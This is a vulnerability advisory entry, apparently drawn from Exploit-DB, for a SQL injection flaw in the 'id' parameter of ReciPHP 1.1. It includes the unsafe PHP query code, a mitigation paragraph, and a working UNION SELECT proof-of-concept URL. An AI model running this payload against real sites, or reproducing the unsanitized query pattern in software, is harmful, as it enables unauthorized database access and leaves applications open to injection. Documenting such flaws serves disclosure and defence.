ReciPHP 1.1 SQL Injection Vulnerability

vendor:

ReciPHP

by:

cr4wl3r

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: ReciPHP

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:reciphp:reciphp:1.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu

2012

ReciPHP 1.1 SQL Injection Vulnerability

ReciPHP is vulnerable to SQL injection. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'showrecipe.inc.php' script. A remote attacker can execute arbitrary SQL commands in the application's database, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, etc.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being passed to the database. Additionally, the application should use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo----------------------
   |        ReciPHP 1.1 SQL Injection Vulnerability        |
   ---------------------------------------------------------
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
[!] Site: http://0xuht.org
[!] Download: http://sourceforge.net/projects/reciphp/files/
[!] Version: 1.1
[!] Date: 14.11.2012
[!] Remote: yes
[!] Tested: Ubuntu
[!] Reference: http://0xuht.org/Exploit/reciphp.txt

[!] Vulnerability Code [showrecipe.inc.php] :
 
<?php include 'config.php'; ?>
<div id="main">
<div id='preview'><?php


$recipeid = $_GET['id'];

$query = "SELECT title,poster,shortdesc,ingredients,directions from recipes where recipeid = $recipeid";

$result = mysql_query($query) or die('Could not find recipe');
 
 
[!] PoC (Piye om Carane):
 
    [ReciPHP]/index.php?content=showrecipe&id=-3 union select version(),2,3,4,5--

[!] Demo:

    http://0xuht.org/demo/reciphp.png

[!] Thanks: packetstormsecurity

// Gorontalo [2012-11-14]